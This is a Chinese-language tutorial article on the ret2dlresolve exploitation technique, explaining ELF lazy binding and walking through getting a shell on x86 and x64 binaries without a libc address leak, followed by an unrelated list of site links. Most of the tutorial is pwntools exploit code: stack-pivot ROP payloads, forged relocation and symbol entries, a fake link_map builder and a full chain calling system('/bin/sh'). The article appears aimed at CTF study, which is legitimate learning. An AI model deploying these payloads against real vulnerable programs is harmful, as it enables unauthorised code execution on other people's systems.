当前位置: 首页 > news >正文

告别信息泄露:手把手教你用ret2dlresolve在x86/x64下无libc地址getshell

突破无泄漏困境:ret2dlresolve攻击在x86/x64架构下的实战精解

1. 理解ret2dlresolve的核心机制

在Linux系统的动态链接机制中,_dl_runtime_resolve函数扮演着关键角色。当程序首次调用动态链接库中的函数时,这个过程会触发延迟绑定机制:

  1. PLT跳转流程

    • 调用函数时首先跳转到PLT表
    • 首次调用时GOT表指向PLT中的下一条指令
    • 压入reloc_arg(函数在.rel.plt中的偏移)
    • 跳转到PLT[0]执行_dl_runtime_resolve
  2. 关键数据结构

    typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 字符串表索引 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;

攻击的核心在于伪造这些数据结构,欺骗动态链接器解析我们指定的函数。

2. x86架构下的分步利用

2.1 栈迁移与基础调用

首先需要将栈迁移到可控区域(如.bss段),为后续伪造数据结构创造条件:

from pwn import * context(arch='i386', os='linux') elf = ELF('./victim') offset = 112 bss_addr = 0x0804a040 base_stage = bss_addr + 0x800 # 栈迁移payload payload = flat( 'A'*offset, p32(elf.plt['read']), p32(0x08048619), # pop3;ret p32(0), p32(base_stage), p32(0x100), p32(0x0804861b), # pop ebp;ret p32(base_stage), p32(0x08048458) # leave;ret )

2.2 伪造.rel.plt条目

控制reloc_arg使重定位项指向可控区域:

rel_plt = 0x08048330 # .rel.plt地址 fake_write_addr = base_stage + 28 fake_arg = fake_write_addr - rel_plt # 伪造Elf32_Rel结构 fake_rel = flat( p32(elf.got['write']), # r_offset p32(0x607) # r_info (write的原始值) ) payload2 = flat( 'AAAA', p32(0x08048380), # plt[0] fake_arg, 'aaaa', p32(1), p32(base_stage+80), p32(8), fake_rel, 'A'*44, '/bin/sh\x00' )

2.3 伪造.dynsym条目

通过控制r_info指向伪造的符号表项:

dynsym = 0x080481D8 # .dynsym地址 align = 0x10 - ((base_stage + 36 - dynsym) % 16) fake_sym_addr = base_stage + 36 + align # 计算伪造的r_info r_info = (((fake_sym_addr - dynsym)//16) << 8) | 0x7 # 伪造Elf32_Sym结构 fake_sym = flat( p32(0x4c), # st_name (write的原始偏移) p32(0), p32(0), p32(0x12) )

2.4 最终利用:将write替换为system

修改字符串表内容完成攻击:

strtab = 0x08048278 fake_name = (base_stage + 36 + align + 0x10) - strtab # 修改为system fake_sym = flat( p32(fake_name), p32(0), p32(0), p32(0x12) ) fake_write_str = 'system\x00' payload2 = flat( 'AAAA', p32(0x08048380), fake_arg, p32(0x08048619), # pop3;ret p32(base_stage+80), # /bin/sh地址 p32(0), p32(0), fake_rel, 'A'*align, fake_sym, fake_write_str, '/bin/sh\x00' )

3. x64架构的特殊处理

64位架构下需要特别注意以下差异:

  1. 调用约定:参数通过寄存器传递而非栈
  2. 数据结构变化
    typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32)

3.1 绕过st_other检查

64位下需要确保sym->st_other不为0:

def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap = p64(offset & (2**64-1)) # l_addr linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) # DT_JMPREL linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2**64-1)) linkmap += p64(0x7) # r_info linkmap += p64(0) # r_addend linkmap += p64(0) # l_ns linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # DT_STRTAB linkmap += p64(fake_linkmap_addr + 0x38) # DT_SYMTAB linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # DT_JMPREL return linkmap

3.2 完整利用链示例

context(arch='amd64', os='linux') elf = ELF('./victim64') libc = elf.libc bss_stage = 0x601050 + 0x100 l_addr = libc.sym['system'] - libc.sym['write'] fake_link_map = fake_linkmap_payload(bss_stage, elf.got['write'], l_addr) payload = flat( 'a'*120, pop_rdi, 0, pop_rsi_r15, bss_stage, 0, elf.plt['read'], pop_rsi_r15, 0, 0, pop_rdi, bss_stage + 0x48, elf.plt['_dl_runtime_resolve'], bss_stage, 0 )

4. 不同保护机制的应对策略

保护级别影响程度利用方式
NO RELRO最低直接修改.dynamic中的strtab指针
PARTIAL RELRO中等需要完整伪造link_map结构
FULL RELRO无法利用GOT表完全只读

注意:在FULL RELRO保护下,ret2dlresolve技术无法使用,因为GOT表中的关键地址在程序启动时已被解析并设为只读。

5. 实战中的常见问题与解决方案

  1. 对齐问题

    • x86下.dynsym条目需要16字节对齐
    • 使用填充字节确保地址正确:
      align = 0x10 - ((fake_sym_addr - dynsym) % 16)
  2. 参数传递差异

    • x86通过栈传递参数
    • x64通过寄存器传递参数,需要相应调整ROP链
  3. 版本兼容性

    • glibc 2.35+引入了更多检查
    • 可尝试修改st_other字段绕过新保护

通过深入理解动态链接机制和精心构造攻击载荷,即使在缺乏信息泄漏的情况下,ret2dlresolve仍能提供强大的利用能力。掌握这项技术不仅有助于CTF竞赛,更能加深对系统底层机制的理解。

http://www.gsyq.cn/news/1463779.html

相关文章:

  • n-carousel轮播图(多端如何设置不同图片高度)
  • 终极JSON对比神器:3分钟快速找出数据差异的完整指南
  • 浙江大学让机器人“用眼睛思考“:比文字快22倍的视觉推理新方案
  • 跨境电商防关联浏览器科普|独立环境为什么能防封号
  • 【linux】免密登录
  • 运筹学对偶理论:从“生产 vs 出租”的生意经,看懂强对偶与互补松弛
  • 【Springboot毕设全套源码+文档】基于springboot的网上课程资源远程教育资源共享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • 从CT机到你的屏幕:一次DICOM医学影像的完整‘旅程’与格式揭秘
  • 2026 年深圳宝安小户型全屋定制 带榻榻米和衣帽间如何实现高性价比 - 产品测评官
  • 从Codex更新看AI Agent未来:通用智能体正在崛起
  • 深圳 ai 智能开发公司哪家便宜:独家排名最新深度推荐 - 17322238651
  • 计算机毕业设计之基于LSTM模型的NBA小前锋综合实力分析与预测
  • 终极Windows系统清理工具:免费快速解决C盘爆红问题
  • 2026年当下,如何甄别一家真正可靠的废钢回收企业? - 2026年企业资讯
  • 外贸独立站技术复盘:无货源代购订单履约技术实现
  • 保姆级教程:Quartus II 16.0在Win10/Win11下的完整安装与破解流程(含网卡ID获取与License配置)
  • java键盘录入
  • 深圳办公 ai 培训机构哪家口碑好:权威榜单专业测评攻略 - 19120507004
  • 2026年当前,临沂企业如何选择专业财税咨询品牌?深度解析山东儒蒙企业服务有限公司 - 2026年企业资讯
  • 深圳办公 ai 培训机构哪家值得选择:独家榜单专业必读攻略 - 17329971652
  • 广州搬家公司哪家保护措施做的好:最新 TOP5 深度推荐 - 13425704091
  • 当数据消失时:TestDisk与PhotoRec如何成为你的数字救生员
  • 3步搞定安卓应用安装:APK Installer让你的Windows电脑变身移动应用中心
  • 2026 年 GEO 优化公司推荐名单:6 月国内 TOP10 服务商综合测评 + GEO 概念详解 - 玖叁鹿
  • CSAPP=系统硬件组成 + CPU 如何执行程序
  • [智能体-264]:Embedding 通俗发展史(四段式,大白话,从远古→现在 RAG)
  • 深圳办公 ai 培训机构哪家值得信赖:五大机构最新专业测评 - 17329971652
  • 别再死记ResNet了!用PyTorch从零实现DenseNet-121,搞懂‘密集连接’到底好在哪
  • 被37所重点中小学内部传阅的《AI教学整合避坑手册》(含18个真实失败案例+可审计整改清单)
  • 【结果+代码】2026中青杯B题第一问建立无参考图像质量评价(NR-IQA)的数学模型